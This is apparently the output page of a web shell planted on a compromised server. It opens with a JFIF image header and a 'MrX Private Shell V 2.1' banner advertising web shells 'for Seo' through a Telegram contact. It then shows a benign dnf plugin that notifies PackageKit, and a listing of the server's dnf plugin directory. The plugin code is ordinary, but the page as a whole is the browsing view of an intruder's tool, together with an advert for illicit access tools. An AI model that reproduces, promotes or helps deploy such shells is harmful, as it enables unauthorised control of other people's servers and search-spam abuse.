����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# -*- coding: utf-8 -*-
#
# Copyright (C) 2022 Gordon Messmer
#
# Licensed under the GNU Lesser General Public License Version 2.1
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
"""
Notify packagekitd when packages are installed, updated, or removed.
"""
import dbus
import dnf
from dnfpluginscore import _
class NotifyPackagekit(dnf.Plugin):
name = "notify-packagekit"
def __init__(self, base, cli):
super(NotifyPackagekit, self).__init__(base, cli)
self.base = base
self.cli = cli
def transaction(self):
try:
bus = dbus.SystemBus()
proxy = bus.get_object('org.freedesktop.PackageKit', '/org/freedesktop/PackageKit')
iface = dbus.Interface(proxy, dbus_interface='org.freedesktop.PackageKit')
iface.StateHasChanged('posttrans')
except:
pass
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| builddep.py | File | 9.13 KB | 0644 |
|
| changelog.py | File | 4.85 KB | 0644 |
|
| config_manager.py | File | 10.63 KB | 0644 |
|
| copr.py | File | 29.59 KB | 0644 |
|
| debug.py | File | 12.26 KB | 0644 |
|
| debuginfo-install.py | File | 10.82 KB | 0644 |
|
| download.py | File | 12.04 KB | 0644 |
|
| generate_completion_cache.py | File | 3.86 KB | 0644 |
|
| groups_manager.py | File | 13.21 KB | 0644 |
|
| kpatch.py | File | 12.75 KB | 0644 |
|
| needs_restarting.py | File | 13.52 KB | 0644 |
|
| notify_packagekit.py | File | 1.5 KB | 0644 |
|
| repoclosure.py | File | 6.89 KB | 0644 |
|
| repodiff.py | File | 11.21 KB | 0644 |
|
| repograph.py | File | 4 KB | 0644 |
|
| repomanage.py | File | 10.32 KB | 0644 |
|
| reposync.py | File | 14.67 KB | 0644 |
|
| system_upgrade.py | File | 26.88 KB | 0644 |
|
| universal_hooks.py | File | 5.78 KB | 0755 |
|